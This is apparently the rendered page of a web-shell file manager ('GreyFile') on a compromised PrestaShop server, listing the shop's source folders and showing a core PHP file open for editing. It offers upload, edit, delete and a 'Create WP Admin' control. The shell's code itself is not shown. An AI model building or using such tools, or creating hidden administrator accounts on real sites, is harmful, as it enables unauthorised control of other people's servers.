?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
prestashop17
/
src
/
Adapter
/
?? Create WP Admin
??
Go up: /home/webdevt/prestashop17/src
?? Editing: LegacyHookSubscriber.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter; use Context; use Hook; use PrestaShopBundle\Service\Hook\HookEvent; use PrestaShopBundle\Service\Hook\RenderingHookEvent; use Symfony\Component\EventDispatcher\EventSubscriberInterface; /** * The subscriber for HookDispatcher that triggers legacy Hooks. * * This subscriber is registered into the HookDispatcher service via services.yml. * The legacy hooks are registered one by one in the dispatcher, but each corresponding * function is a magic method catched by __call(). * This ensure the listeners' count is real. */ class LegacyHookSubscriber implements EventSubscriberInterface { /** * Returns an array of event names this subscriber wants to listen to. * * The array keys are event names and the value are a function name * that will be solved by magic __call(). The function contains data to extract: hookId, moduleId * * TODO: add cache layer on $listeners * * @return array The listeners array */ public static function getSubscribedEvents() { $listeners = []; // Hack Symfony cache clear : if context not mounted, bypass legacy call $legacyContext = Context::getContext(); if (!$legacyContext || empty($legacyContext->shop) || empty($legacyContext->employee)) { return $listeners; } $hooks = Hook::getHooks(); if (is_array($hooks)) { foreach ($hooks as $hook) { $name = strtolower($hook['name']); $id = $hook['id_hook']; $moduleListeners = []; $modules = []; // Symfony cache clear bug fix : call bqSQL alias function if (function_exists('bqSQL')) { $modules = Hook::getHookModuleExecList($name); } if (is_array($modules)) { foreach ($modules as $order => $module) { $moduleId = $module['id_module']; $functionName = 'call_' . $id . '_' . $moduleId; $moduleListeners[] = [$functionName, 2000 - $order]; } } else { $moduleListeners[] = ['call_' . $id . '_0', 2000]; } $listeners[$name] = $moduleListeners; } } return $listeners; } /** * This will handle magic methods registered as listeners. * * These methods are built with the following syntax: * "call_<hookID>_<moduleID>(HookEvent $event, $hookName)" * * @param string $name The method called * @param array $args The HookEvent, and then the hook name (eventName) * * @throws \BadMethodCallException */ public function __call($name, $args) { if (strpos($name, 'call_') !== 0) { throw new \BadMethodCallException('The call to \'' . $name . '\' is not recognized.'); } $ids = explode('_', $name); array_shift($ids); // remove 'call' if (count($ids) !== 2) { throw new \BadMethodCallException('The call to \'' . $name . '\' is not recognized.'); } $moduleId = (int) $ids[1]; list($event, $hookName) = $args; $content = Hook::exec($hookName, $event->getHookParameters(), $moduleId, ($event instanceof RenderingHookEvent)); if ( $event instanceof RenderingHookEvent && 0 !== $moduleId && !empty($content) ) { $event->setContent([array_values($content)[0]], array_keys($content)[0]); } } }
Save
Upload
??
Create Folder
??
Create File
??
Addons
|
??? Delete
??
Address
|
??? Delete
??
Admin
|
??? Delete
??
Assets
|
??? Delete
??
Attachment
|
??? Delete
??
Attribute
|
??? Delete
??
Backup
|
??? Delete
??
BestSales
|
??? Delete
??
Cache
|
??? Delete
??
Carrier
|
??? Delete
??
Cart
|
??? Delete
??
CartRule
|
??? Delete
??
CatalogPriceRule
|
??? Delete
??
Category
|
??? Delete
??
CMS
|
??? Delete
??
Configuration
|
??? Delete
??
Contact
|
??? Delete
??
Container
|
??? Delete
??
Converter
|
??? Delete
??
Country
|
??? Delete
??
CreditSlip
|
??? Delete
??
Currency
|
??? Delete
??
Customer
|
??? Delete
??
CustomerService
|
??? Delete
??
Debug
|
??? Delete
??
Domain
|
??? Delete
??
Email
|
??? Delete
??
Employee
|
??? Delete
??
EntityTranslation
|
??? Delete
??
Feature
|
??? Delete
??
File
|
??? Delete
??
Form
|
??? Delete
??
Geolocation
|
??? Delete
??
Grid
|
??? Delete
??
Group
|
??? Delete
??
Hook
|
??? Delete
??
Hosting
|
??? Delete
??
Image
|
??? Delete
??
Import
|
??? Delete
??
Invoice
|
??? Delete
??
Kpi
|
??? Delete
??
Language
|
??? Delete
??
Localization
|
??? Delete
??
Mail
|
??? Delete
??
MailTemplate
|
??? Delete
??
Manufacturer
|
??? Delete
??
Media
|
??? Delete
??
Meta
|
??? Delete
??
Module
|
??? Delete
??
NewProducts
|
??? Delete
??
News
|
??? Delete
??
Notification
|
??? Delete
??
Number
|
??? Delete
??
OptionalFeatures
|
??? Delete
??
Order
|
??? Delete
??
OrderMessage
|
??? Delete
??
OrderReturnState
|
??? Delete
??
OrderState
|
??? Delete
??
Pack
|
??? Delete
??
PDF
|
??? Delete
??
Preferences
|
??? Delete
??
Presenter
|
??? Delete
??
PricesDrop
|
??? Delete
??
Product
|
??? Delete
??
Profile
|
??? Delete
??
Requirement
|
??? Delete
??
Routes
|
??? Delete
??
Routing
|
??? Delete
??
Search
|
??? Delete
??
Security
|
??? Delete
??
Shop
|
??? Delete
??
Smarty
|
??? Delete
??
SpecificPrice
|
??? Delete
??
SqlManager
|
??? Delete
??
Supplier
|
??? Delete
??
Support
|
??? Delete
??
System
|
??? Delete
??
Tab
|
??? Delete
??
Tax
|
??? Delete
??
TaxRulesGroup
|
??? Delete
??
Theme
|
??? Delete
??
Translations
|
??? Delete
??
Twig
|
??? Delete
??
Upload
|
??? Delete
??
Warehouse
|
??? Delete
??
Webservice
|
??? Delete
??
Zone
|
??? Delete
??
AbstractObjectModelRepository.php
|
?? Edit
|
??? Delete
??
AbstractObjectModelValidator.php
|
?? Edit
|
??? Delete
??
AddressFactory.php
|
?? Edit
|
??? Delete
??
CacheManager.php
|
?? Edit
|
??? Delete
??
ClassLang.php
|
?? Edit
|
??? Delete
??
CombinationDataProvider.php
|
?? Edit
|
??? Delete
??
Configuration.php
|
?? Edit
|
??? Delete
??
ContainerBuilder.php
|
?? Edit
|
??? Delete
??
ContainerFinder.php
|
?? Edit
|
??? Delete
??
ContextStateManager.php
|
?? Edit
|
??? Delete
??
CoreException.php
|
?? Edit
|
??? Delete
??
Database.php
|
?? Edit
|
??? Delete
??
EntityMapper.php
|
?? Edit
|
??? Delete
??
EntityMetaDataRetriever.php
|
?? Edit
|
??? Delete
??
Environment.php
|
?? Edit
|
??? Delete
??
GeneralConfiguration.php
|
?? Edit
|
??? Delete
??
HookManager.php
|
?? Edit
|
??? Delete
??
ImageManager.php
|
?? Edit
|
??? Delete
??
LegacyContext.php
|
?? Edit
|
??? Delete
??
LegacyContextLoader.php
|
?? Edit
|
??? Delete
??
LegacyHookSubscriber.php
|
?? Edit
|
??? Delete
??
LegacyLogger.php
|
?? Edit
|
??? Delete
??
ObjectPresenter.php
|
?? Edit
|
??? Delete
??
RoundingMapper.php
|
?? Edit
|
??? Delete
??
ServiceLocator.php
|
?? Edit
|
??? Delete
??
StockManager.php
|
?? Edit
|
??? Delete
??
SymfonyContainer.php
|
?? Edit
|
??? Delete
??
Tools.php
|
?? Edit
|
??? Delete
??
Validate.php
|
?? Edit
|
??? Delete